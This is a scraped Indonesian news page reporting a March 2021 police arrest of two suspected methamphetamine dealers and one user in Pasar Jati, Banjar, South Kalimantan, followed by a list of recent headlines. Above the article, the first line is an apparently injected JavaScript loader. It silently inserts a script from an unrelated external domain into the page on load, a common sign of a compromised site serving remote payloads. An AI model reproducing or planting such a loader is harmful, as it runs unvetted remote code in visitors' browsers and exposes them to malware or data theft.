(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KRIMINAL BANJAR

Dua Pengedar Sabu di Pasar Jati Diringkus


KANALKALIMANTAN.COM, MARTAPURA – Personil Polsek Martapura Kota berhasil meringkus dua orang yang diduga mengedarkan narkotika jenis sabu.

 

Kapolsek Martapura Kota AKP Suroto melalui Kanit Reskrim Iptu Bahterawan Munthe, membenarkan hal tersebut.

 

“Kami telah mengamankan dua orang yang diduga sebagai pengedar narkotika jenis sabu, dan satu orang yang diduga ikut mengkonsumi sabu sabu,” ucapnya kepada Kanalkalimantan.com, Kamis (25/3/2021) petang.

 

Ketiga orang itu yakni IN (28) SI alias Mahang (36), dan MN, tersangka lanjut Munthe, diringkus di kediaman pelaku IN, di Desa Pasar Jati RT 01, Kecamatan Astambul, Kabupaten Banjar.

“Dari tangan pelaku IN kami mengamanakan barang bukti berupa 5 paket sabu dengan berat kotor 2,79 gram, 1 buah pipet kaca, 1 buah bong, 1 buah botol permen, uang Rp 684.000, 1 buah handphone,” ucapnya.

 

Sedangkan dari pelaku SI alias Mahang polisi berhasil mengamankan barang bukti berupa, 25 paket sabu dengan berat 5,75 gram siap jual, 1 buah kotak kecil warna hitam, 1 buah dompet warna merah, 1 buah timbangan digital, 2 bundel plastik klip, 1 buah handphone warna hitam, 1 buah tas warna hitam tanpa merk, 1 buah tas warna hitam Merk Eiger, uang sejumlah Rp 375.000.

 

“Sedangkan pelaku MN, saat kita amankan berada di lokasi itu juga yang diduga ikut mengkonsumsi sabu,” katanya.

 

Penangkapan ketiga pelaku ini, berdasarkan pengembangan dari pelaku yang sudah lebih dahulu diamankan polisi pada Selasa (23/3/2021) sore, tepatnya di belakang kantor DPRD Kabupaten Banjar.

 

“Ketiga pelaku ini berdasarkan pengembangan yang telah dilakukan setelah sehari sebelumnya oleh pelaku SI alias Alan yang tertangkap tangan membawa sabu 1 paket di dalam tas sandang miliknya, kemudian dilakukan pengembangan terhadap asal usul sabu tersebut,” imbuh Munthe.

 

Kini pelaku bersama barahg bukti sudah di amankan di Mapolsen Martapura Kota, guna mempertanggungjawabkan perbuatannya. (kanalkalimantan.com/wahyu)

 

Reporter : Wahyu
Editor : Bie

 

 


Al Ghifari

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

8 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

8 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

9 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

10 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

10 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

16 jam ago

This website uses cookies.